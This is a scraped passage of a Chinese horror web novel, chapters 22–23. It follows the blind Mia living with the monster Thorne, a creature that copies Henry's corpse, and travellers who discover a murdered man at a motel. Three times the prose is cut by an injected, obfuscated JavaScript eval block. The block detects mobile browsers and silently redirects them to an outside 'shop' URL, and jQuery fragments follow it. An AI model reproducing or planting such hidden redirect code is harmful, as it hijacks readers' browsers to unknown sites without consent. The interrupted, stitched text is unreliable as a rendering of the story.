;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16902061|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 多余的番茄酱汁溢了出来,米娅还没反应过来,一抹冰凉柔软的东西就已经擦过了她的唇角。 些微的痒意瞬间搔刮过她的神经末梢,惊得她呼吸一乱,差点从椅子上蹦起来。 “你干嘛?” 屋内同样一片黑暗,坐在她身边的漆黑人影将纸巾叠好,一边再次用叉子卷起意面递到她的嘴边。一边慢条斯理道:“帮你擦掉番茄酱,你要讲卫生,这样才不容易生病。” 不讲卫生·米娅:……诽谤,这是赤果果的诽谤! 米娅开口强调她可以自己吃饭,自己擦嘴,她只是瞎子,不是生活不能自理的瘫子。 “但是我想喂你。我们是兄妹不是吗?哥照顾你是我的责任。” 索恩在杀死亨利之前,曾逼迫亨利讲述过他和米娅相处的点点滴滴。他知道眼前的米娅并不是那个米娅·沃莫尔,但他还是忍不住在意亨利和她之前的兄妹关系。 他想要离他的妹妹更近一点,再近一点,他一定会成为比亨利更完美的哥哥。 米娅沉默了,虽然她和索恩已经相处了这么多天,虽然她一直都在揣测索恩的心思。但直到现在,她依然无法理解这个怪物的想法。 就算是亲哥哥对妹妹都没有这么体贴的吧? 先不说亨利那个变态了,单说她父母离婚再婚之后,那几个同母异父,同父异母的弟弟妹妹都只当她是陌生人,别说喂饭了,她就算路过他们门口讨口水喝,都得被啐一脸。 索恩到底为什么要这么做? 她回忆起索恩生前的遭遇,心里隐约有了答案。人总是容易被年少不可得之物困住,就算是怪物也不例外。 他在渴望和人建立亲密联系,渴望一个家庭,渴望有人爱他…… 米娅没有再和索恩争辩,而是突然话锋一转:“我要吃薯条。” 于是沾着番茄酱的热薯条被送到她的嘴边,咸甜的滋味在味蕾上滑过,她恍惚间想起了自己小时候和同龄小孩玩过家家的场面。 这和她扮演母亲喂“小宝宝”的画面何其相似,不过索恩可比她细心得多,毕竟她可没耐心帮扮演婴儿的小伙伴擦嘴巴。 “蛋挞。” “可乐。” “还要意面。” 米娅坐在桌前,人生头一次感受到了饭来张口的顶级体验。这一刻她终于突破迷雾,摸清了这个怪物的命脉。 她是他的妹妹,他唯一的家人,这不仅是个身份,更是能勒住他脖子的缰绳,只要她手握这根缰绳,就能让这个强大诡谲的怪物对她百依百顺。 22.第 22 章 吃完饭后,米娅要去洗漱,好在索恩还有分寸,并没有提出帮她洗澡这样离谱的提议。他牵着米娅走进卫生间,又将干净的衣服放在架子上,很快就走了出去。 米娅打开淋浴洗了个澡,正常的热水没有丝毫水腥气,让她的心情好了不少。只是洗完准备穿衣服的时候,她的动作忽然一顿。 因为疗养院很潮湿,容易生虫,所以她的衣柜放了驱虫的熏香,她离开疗养院时带的那几套衣服应该都有这种味道才对,但架子上的衣服却并没有这种味道。 她疑惑的凑到鼻尖闻了闻,只有一股淡淡的洗涤剂的味道,衣料摸着很新,显然是一条全新的睡裙。 这是索恩从哪弄来的? 行李箱里明明有她的旧衣服,他为什么要给她弄一套新的。 而且不仅是睡裙,似乎连内衣都是全新的…… 米娅拿着那团柔软的小布料,心里总感觉哪里怪怪的,之前被喂饭的时候她还能泰然自若,现在却莫名有种被触及隐私的羞耻感。 那个怪物实在太没有边界感了,就算是兄妹……这种程度也有些过了。 她别扭的换好衣服,总觉得浑身不自在,但又不知道该怎么质问,最终只能默默的假装不知道。 门被打开,她刚抬脚走出去,一只冰凉的手就扶住了她的胳膊,沉默的领着她坐到椅子上,接着吹风机的噪声响起,冰凉的大手在她的发间穿梭。 对方的手法很生疏,但好在动作很轻,并没有弄疼米娅,但正是因为太轻了,那细微的动作好似一丝丝电流传入米娅的神经,带起一阵酥麻痒意。 一想到那个漆黑的怪物就站在她的身后,正用那双差点掐死她的大手为她吹头发。米娅的心就忍不住的鼓噪,既害怕他突然暴起再次掐住她的脖子,又有一瞬卑劣的得意。 骤然的穿越,多日的艰难求生,一个个血腥的死亡画面不断冲击着她的精神防线,她的内心深处早就生起了一丝戾气。 亨利的死不足以平息这份戾气,络腮胡的惨叫也不足以平息这份戾气。 那一瞬间,米娅忽然产生了一种冲动,她想说点什么,驱使着索恩做点什么,用疯狂来洗刷内心的压抑。 没关系的,她已经扼住了这个怪物的命脉,就像他当初扼住她的脖子一样,她是这个怪物的家人,他不会拒绝她的…… 米娅差点就要张口了,但坚韧的理智最终还是将她的思绪拉回了安全地带。 “我知道那些人住在哪里。” 索恩低哑的声音忽然响起,米娅下意识坐直了身体,生怕他窥探到她刚刚的想法。 “谁?” 索恩:“那几个嘲笑、辱骂你的人。” 米娅一愣,随后才理解了索恩的潜台词:“你不许对他们出手。” 意识到自己的口吻有些太过强硬,她又转身摸索着抱住他的小臂,像是撒娇一样摇晃了两下,语气轻柔道:“哥哥,别对他们出手好不好?” 索恩的小臂肌肉绷紧,阴郁的视线再次落在了米娅的左臂上,这是妹妹第一次向他撒娇,却是为了别人向他求情。 “……好。” * 米娅躺到了床上,索恩帮她盖好被子,转而朝着卫生间走去。 米娅听到脚步声远去,下意识问了一句。 “你要去哪?” “洗澡。” 米娅惊讶:“你也要需要洗澡吗?” 在她看来,索恩很像是死后复仇的恶灵,这种存在也需要洗澡吗? “嗯。要讲卫生。” 米娅:……这家伙肯定是在内涵她不讲卫生,可惜她没有证据! 她气得磨了磨牙,闭嘴不再说话。一直到卫生间的门关上,水声响起,她才忽然想到了一个问题。 奇怪,明明索恩之前在卫生间袭击她的时候是没有脚步声的,为什么刚刚她却能听到他的脚步声? 她仔细回想了一下,发现索恩的脚步声是在她失明之后才出现的。 最开始是他假扮亨利,每次靠近她都会伴随着皮鞋踏地的声音。如果只是这样,只能算他演戏注重细节,但是他被亨利戳穿了假身份后,皮鞋踏地的声音消失了,另一种更清晰的脚步声却随之出现,并且一直持续到现在。 米娅想到这沉默下来,对于一个潜伏在黑暗中的怪物来说,这样的脚步声绝对是个多余的累赘,它之所以出现完全是因为她。 或许……有这么一个哥哥也不错? 意识到自己在想些什么后,米娅立刻皱眉,她抬手摸了摸脖子上的纱布,强压下那点小心思。提醒自己不能被索恩的糖衣炮弹给腐蚀了。 那是个危险的怪物,他现在喜欢她这个妹妹,只是因为她演得足够乖巧、顺从罢了,但她不可能演一辈子,也不想演一辈子。 更何况索恩记仇,她同样也很记仇,要知道她脖子上的淤青可还没褪干净呢,她才不想当他的妹妹。 笑死,她连自己的原生家庭都处理不了,又哪来的自信可以和一个残忍嗜血的怪物成为和和美美的一家人。 * 黑暗的卫生间内,哗啦啦的水声不断。 漆黑的人影看着那些穿透他的身体洒落在地的水流,温热的水流无法让他冰凉的躯体温暖半分,更洗不掉他的丑陋污秽。 他知道妹妹心底的恐惧,所以他开始学着伪装成一个正常人,但越是伪装,他越是明白自己只是一个怪物。 咔哒,卫生间的门重新打开,漆黑的人影坐在床边,带来了一缕冰凉的水汽。 “怎么还不睡?” 米娅没有回答他的问题,反问道:“你睡哪?” 这里只有一张床,索恩该不会要和她一起睡吧? 索恩:“我就坐在这里守着你。” 米娅立刻脑补出一道漆黑的人影坐在自己的床边,整夜盯着自己的诡异画面,她不寒而栗,沉默了一下果断拍了拍自己旁边的床铺。 “这怎么行,哥哥,不如你和我一起睡吧。” 这话一出,她就察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906223|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到索恩紧盯着自己的视线变了,虚假的和平被撕开一道缝隙,暴露出内里的尖刻,那刺人的审视在她的脸部徘徊,原本流动的空气都为之凝滞。 “……你确定?” “这有什么好确不确定的。” 米娅对着声音传来的方向微笑:“我相信哥哥不会伤害我的。” 她掀开被子坐到床边,表示索恩睡里面,她更喜欢睡外边。 当然这只是借口,实际上是因为睡床外侧更方便逃跑。只要索恩一有异动,她立刻一个鲤鱼打挺,拽掉眼罩就光速逃跑。 索恩没有说话,也没有动弹,他像是一座死寂的雕像坐在床边,而米娅则坐在床上,仰头微笑着“看”向他,房间一下子静得诡异。 楼下,早就恢复正常的前台小哥和清洁大叔聊着天,浑然不知他们头顶的正上方正在进行一场隐秘无声的对峙。 房间内的黑雾悄然伸出“触须”,蠢蠢欲动的爬上床铺,触及米娅刚刚躺过的位置,残留的人体温度烫得它们迅速缩了回去,但很快又再次蠕动着覆盖上去。 不知过了多久,索恩的身影一闪,凭空躺到了床上。他沉默的睡在最里侧,几乎紧贴着墙壁,和那个位置保持着安全距离。 米娅也很满意这个安全距离,拉开被子躺在了床外侧。 接下来的半个小时,索恩一直很安静,是那种没有任何移动,没有呼吸的安静,但是那阴郁专注的视线却犹如实质。一遍一遍的在米娅的周身巡视。 米娅最开始还有些紧张,努力思索着他到底想从她身上看出什么。但随着时间的流逝,她逐渐放松下来,淡忘了索恩的存在,开始思考自己身上发生的那些不对劲是因为什么。 结果就在这时,索恩低哑的声音忽然划破了房间的寂静:“想听睡前故事吗?” “睡前故事?” “你的呼吸很乱,睡不着的话,我可以给你讲睡前故事。” 米娅的呼吸一促,脑中立刻浮现出这个漆黑的怪物在黑暗中一眨不眨的盯着她的诡异画面,他甚至连她呼吸的频率都注意到了。 “好吧,那你讲吧。” 于是索恩低低的讲述起名为《杜松树》的童话故事,继母杀死了继子,将尸体剁碎煮汤,父亲喝掉了那锅肉汤,哭泣的妹妹将哥哥的骨头捡起来埋在杜松树下。 哥哥的灵魂变作小鸟从树中飞出,完成了对继母和父亲的复仇,最后小鸟哥哥和妹妹过上了幸福快乐的生活。 这明显是一个暗黑/童话,配上他如浓硫酸腐蚀过一样的嗓音,将气氛渲染的越发诡异,普通人听完绝对会鸡皮疙瘩掉一地。但米娅却只是陷入了古怪的沉默。 她曾经听过这个故事,哥哥并没有报复不作为的父亲,只杀死了继母,故事的结局应该是哥哥变回了人类,和父亲、妹妹过上了幸福快乐的生活才对。 但在索恩这里,父亲不仅死了,哥哥也没有变回人类,而是以小鸟的形态和妹妹相处。 米娅:……这算什么?夹带私货? 23.第 23 章 深夜,疗养院的大火早已熄灭,几座着火的建筑虽然被大火焚烧得乌黑,但框架还算完好,并没有倒塌的迹象。 空地上昏迷的老人以及唯一清醒的沃特金斯太太早在下午就被救护车送去了医院,按理说天色已晚,警察们也该休息了,但一群本地警察却甘愿冒着风险走进被焚烧过的水疗中心,打着手电筒寻找着什么。 本地的警察局和疗养院早有勾结,也知道生命精华的好处,所以听到疗养院出事后,他们的第一反应就是赶紧来搜刮最后的生命精华,因为他们并不知道疗养院地下的秘密,还以为东西藏在水疗中心,所以才这么披星戴月的搜寻。 而就在他们在地上忙忙碌碌的时候,原本死寂的地下湖也开始泛起涟漪,某种形似章鱼、多足软体的丑陋怪物逐渐浮出水面,在那些被泡得惨白的浮尸边徘徊。 它很喜欢这里的水,这些天一直在地下湖的深处睡觉,结果它刚刚一觉醒来才发现大量的化学试剂、浓缩的臭水污染了它的栖息之地。所以现在它得离开这里,寻找新的栖息地了。 它本想从之前的入口出去,却发现自己这些天体型变大,已经没法从湖底那条狭小的缝隙钻出去了。于是它在水面游了一圈,最终选定目标,挤进了一具残破的尸体中。 片刻后,它从那摊烂肉中钻了出来,柔软的身体在湖水中逐渐融化成一滩胶质,接着又凝结成人形。 哗啦啦…… 一个高大的男人从湖中走到岸上,他未着寸缕,裸、露的肌肤好似苍白冷硬的大理石,冰冷腥臭的湖水顺着他宽厚的肩膀、肌肉饱满的胸膛一路往下滑落…… 他抬手将散乱的黑发捋到脑后,露出光洁的额头。灰绿色的鹰眸,透着一丝无机质的空洞。 身上那些血肉模糊的伤口开始以肉眼可见的速度愈合,一个全新的亨利出现在了满地狼藉的溶洞中。昔日的温文尔雅被彻底撕裂,他就像是一个套着人皮的怪物,处处都透露着一丝诡异的不协调。 准确来说,真正的亨利已经死了,此刻的他本就是一个通过复制尸体,伪装成人类的怪物。 因为尸体的脑部损毁严重,所以他复制到的记忆不多。而亨利最刻骨铭心的记忆无疑是米娅,被背叛的怨恨远胜于被索恩报复的仇恨。 怪物只复制了记忆,无法理解亨利的怨恨,但那道黑发绿眸的少女身影却仿佛精神污染一样深深烙印在了他的脑海。 “妹……妹妹?” 怪物歪头,像是第一次说话的生锈机器人那样,用平直古怪的语调重复着记忆中的词语。 * 第二天清晨,哪怕外面已经朝阳初升,客房内依然黑得伸手不见五指,床上那道漆黑瘦削的青年身影消失,取而代之的是一个更加庞大的怪物。 他更高了,似乎有两米多高,也更瘦了,瘦长的四肢骨节突出,比例扭曲,像是蜘蛛尖锐的长腿,浑身不断冒着黑色的雾气,充斥着整个房间,将这里搞得乌烟瘴气,变成了独属于他的临时巢穴。 因为床铺太小,他不得不像是蜘蛛一样蜷缩起来,几乎占满了整个床铺。 熟睡中的米娅正被怪物紧紧抱在怀里,脸埋在他的胸膛。不断冒出的黑雾层层叠叠的包裹住她。像是要将她拉进怪物那瘦骨嶙峋的胸膛,彻底融为一体。 索恩低垂着头凝视着怀中的妹妹,他已经这么盯了一整夜了,视线时而阴郁黏腻,时而冰冷尖刻。谁也不知道他在想些什么,就连他自己都理不清那些繁杂的思绪。 不知道过了多久,一直到米娅的呼吸频率变了。他的视线才终于移开,原本怪异丑陋的躯体逐渐缩小,变回了正常的人类身形。 米娅睡醒之后,发现自己依然保持着入睡前的姿势,没有分毫移动,不由在心里为自己良好的睡相点了个赞。随后作为一个“盲人”,她习惯性的呼唤:“索恩?” 第一声没有得到回复后,她疑惑的加大声音,伸手朝着床里侧摸去:“索恩?哥哥?” 索恩冰冷的大手抓住了她的手:“我在这。” “哦。” 米娅没问他刚才为什么没出声,只是请他帮忙把拖鞋拿过来,她要去洗漱了。 谁知索恩并没有将拖鞋拿给她,而是直接抓住了她的脚踝,直接帮她穿好了拖鞋。米娅下意识缩了缩脚,结果却被抓得更紧。冰冷的力道挤压着她脚踝处的跟腱,那股酸麻感让她脚瞬间没了力气。 片刻后,索恩牵着她走进了卫生间:“早餐想吃什么?” 番茄爱好者·米娅毫不犹豫道:“番茄鸡蛋三明治和牛奶。” “好。” 米娅能够感觉到那股一直围绕着她的冷意消失了,索恩离开了。 她将卫生间的门关上,沉默的给自己换了一个新的医用眼罩,索恩是个体贴的哥哥,她是个乖巧的妹妹。他们将各自的身份扮演的惟妙惟肖,外人看了肯定会被他们表现出的兄妹情蒙蔽双眼。 然而无论她表现的多么依赖哥哥,都从未请求过索恩帮她恢复眼睛,无论索恩表现的多么疼爱妹妹,也从未提及过她的眼睛。 她和索恩都知道这段温馨的相处只是虚伪的表象,防备、审视、不信任才是它的底色,他们默契的维持着它脆弱的平衡,直到平衡被打破的那一天…… * “啊啊啊!” 丘伊等人虽然嘴上说着要早点出发去水晶湖,但是第二天早上谁也起不来,一个个睡得昏天暗地,直到隔壁传来刺耳的尖叫声,才把他们从梦乡中拽了回来。 他们艰难的爬起来,不悦的打开门想要看看一大早到底谁这么扰人清梦。结果却看见崔特尖叫着跑出房间,和他同一个房间的珍娜也面色恐慌的紧随其后。 几人震惊的上前询问发生了什么,崔特蹲在角落抱着头瑟瑟发抖,一句话也不说,而珍娜则是颤抖的指着房间:“死人了,那里面……昨晚……死了……” “谁死了?” 丘伊看了一圈,确定小伙伴们都在,于是大着胆子走进了房间。结果刚走进去,他就和一双死不瞑目的暴凸双眼来了个对视。 只见这间客房的床下是一大片发黑的干涸血迹,昨晚他们才见过的那个醉汉络腮胡此刻已经变成了一具被拧成麻绳的尸体,正斜躺在血迹上,一半在床下,一半则暴露在外。惊恐扭曲的表情一看就死不瞑目。 “啊啊啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912715|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别叫了,到底发生了什么?快说啊!” 布蕾性子急,见问不出什么,直接推开丘伊,自己进屋查看。 下一秒…… “啊啊啊!” 剩余几人害怕的咽了咽口水,手牵手一起走了进去。然而仅仅只过了几秒钟,几人就一边放声尖叫,一边连滚带爬的逃了出来。 汽车旅馆的前台小哥困倦的跑过来查看的时候,看见的就是一群尖叫鸡在走廊又蹦又跳的“快乐”画面。他皱眉警告众人闭嘴,不要打扰到其他客人休息。 布蕾尖叫:“快报警,里面死人了!” 因为这地方太过偏僻,两个小时后警车才姗姗来迟,两个警察查看过屋内的尸体后,用狐疑的目光看向那几个年轻人,丘伊等人立刻举手做投降状。 “不是我杀的!” “也不是我杀的!” “绝对不是我杀的!” 他们一个看一个,最后视线齐齐落在了崔特的身上。崔特崩溃大喊:“你们看我干什么?人又不是我杀的!” 珍娜在一边小声作证这事和崔特没关系,他们昨晚睡前还一切正常,结果今天早上醒来的时候,床底下就莫名多了这么一具可怕的尸体,崔特最为倒霉,起床没注意被绊了一下,直接摔在了尸体上,对着尸体来了个贴面吻。 众人很快就想到了昨晚和络腮胡发生过矛盾的黑发女孩,立刻将这件事告知了警察,然而前台小哥却茫然的表示他昨晚并没有看见几人口中的黑发女孩,电脑上也没有任何有关那人的住宿记录。 布蕾再次发出刺耳的尖叫:“怎么可能,我们昨晚亲眼看见的!” 丘伊哆嗦了一下,开始怀疑他们是不是遇到灵异事件了。好在之后检查房间,他们在一个没有办理入住的空房间发现了新鲜的垃圾,以及其他明显有人使用过的痕迹。 虽然尸体是在崔特和珍娜的房间找到的,但他们杀人动机不足,尸体上也没有任何线索指向他们,所以警察们的注意力逐渐从丘伊等人身上转移。 一直等到中午烈阳高照,这几个年轻人才陆续从警局走出来。 崔特走在最前面信誓旦旦道:“我就说她不是好人,果然被我猜对了。她肯定有同伙,通过诈骗杀人获取财富,幸好我们没有上她的当,否死的肯定就是我们了。” 其余人也相信了这个说法,对于昨晚的事心有余悸。 不过几个头铁的年轻人依然没有更改自己的度假计划,甚至还觉得正因为遇到了这种可怕的事,才更需要美好的度假时光来冲淡这些糟糕的记忆。 他们坐上崔特的露营车,一路上放着快节奏的摇滚乐,赶在下午五点抵达了距离水晶湖最近的小镇,准备采购一些物品带去别墅。 “哦吼!” 丘伊像只猴子一样欢呼着蹿下车,叫嚷着要买多多的啤酒喝个痛快,然而他刚走到路边便利店的门口,店内的一句话就让他猛地停下脚步,笑容僵在了脸上。 “你好,我叫克雷,请问你看见过这个女孩吗?她是我的妹妹惠特妮,一个星期前她和朋友们来这附近的水晶湖露营,结果集体失踪了,如果你看见过她,请一定要告诉我……”